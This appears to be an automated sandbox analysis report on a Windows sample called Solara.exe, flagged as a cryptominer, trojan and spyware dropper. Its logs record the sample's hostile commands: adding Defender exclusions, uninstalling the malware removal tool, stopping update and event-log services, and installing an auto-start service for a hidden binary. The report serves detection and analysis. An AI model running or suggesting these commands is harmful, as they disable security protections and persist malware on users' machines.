Source: 00000042.00000002.2596176431.0000000140001000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25

Source: libcrypto-1_1.dll.76.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9987754672181373
Source: libssl-1_1.dll.76.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9903915229885057
Source: python310.dll.76.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9989695677157001
Source: sqlite3.dll.76.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9974986001493175
Source: unicodedata.pyd.76.dr	Static PE information: Section: UPX1 ZLIB complexity 0.9949597928113553

Source: classification engine

Classification label: mal100.rans.troj.adwa.spyw.evad.mine.winEXE@155/141@5/7

Source: C:\Users\user\Desktop\Solara.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Solara.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4052:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7024:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6904:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5836:120:WilError_03
Source: C:\Users\user\Desktop\Solara.exe	Mutant created: \Sessions\1\BaseNamedObjects\iSwokMxIl2hScyvQj
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Mutant created: \Sessions\1\BaseNamedObjects\E
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2848:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:336:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4008:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1512:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4864:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1660:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3700:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1496:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Global\qdpnprrzvlcxaaqg
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5688:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4704:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4732:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5920:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1832:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6136:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5436:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3956:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5528:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5452:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5572:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6380:120:WilError_03

Source: C:\Users\user\Desktop\Solara.exe

File created: C:\Users\user\AppData\Local\Temp\Solara.exe

Jump to behavior

Source: Solara.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Solara.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"

Source: C:\Users\user\Desktop\Solara.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Solara.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Solara.exe

ReversingLabs: Detection: 71%

Source: Exela.exe	String found in binary or memory: --help
Source: Exela.exe	String found in binary or memory: --help
Source: Exela.exe	String found in binary or memory: can't send non-None value to a just-started generator
Source: Exela.exe	String found in binary or memory: id-cmc-addExtensions
Source: Exela.exe	String found in binary or memory: set-addPolicy

Source: C:\Users\user\AppData\Local\Temp\Solara.exe

File read: C:\Users\user\AppData\Local\Temp\Solara.exe

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Source: unknown	Process created: C:\Users\user\Desktop\Solara.exe "C:\Users\user\Desktop\Solara.exe"
Source: C:\Users\user\Desktop\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Solara.exe	Process created: C:\Users\user\AppData\Local\Temp\Solara.exe "C:\Users\user~1\AppData\Local\Temp\Solara.exe"
Source: C:\Users\user\Desktop\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Exela.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "PGYNROQK"
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "PGYNROQK" binpath= "C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "PGYNROQK"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\conhost.exe conhost.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\Solara.exe "C:\Users\user\AppData\Local\Temp\Solara.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Solara.exe "C:\Users\user\AppData\Local\Temp\Solara.exe"
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\Solara.exe "C:\Users\user\AppData\Local\Temp\Solara.exe"
Source: C:\Users\user\Desktop\Solara.exe	Process created: C:\Users\user\AppData\Local\Temp\Exela.exe "C:\Users\user~1\AppData\Local\Temp\Exela.exe"
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: C:\Users\user\AppData\Local\Temp\Exela.exe "C:\Users\user~1\AppData\Local\Temp\Exela.exe"
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Exela.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Solara.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Solara.exe'	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process created: C:\Users\user\AppData\Local\Temp\Solara.exe "C:\Users\user~1\AppData\Local\Temp\Solara.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\Exela.exe'	Jump to behavior
Source: C:\Users\user\Desktop\Solara.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "PGYNROQK"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "PGYNROQK" binpath= "C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe" start= "auto"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "PGYNROQK"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe
Source: C:\ProgramData\hoyktorfcbbz\rdqanwpudvuj.exe	Process created: C:\Windows\System32\conhost.exe conhost.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\Solara.exe" -Verb runAs
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process created: unknown unknown
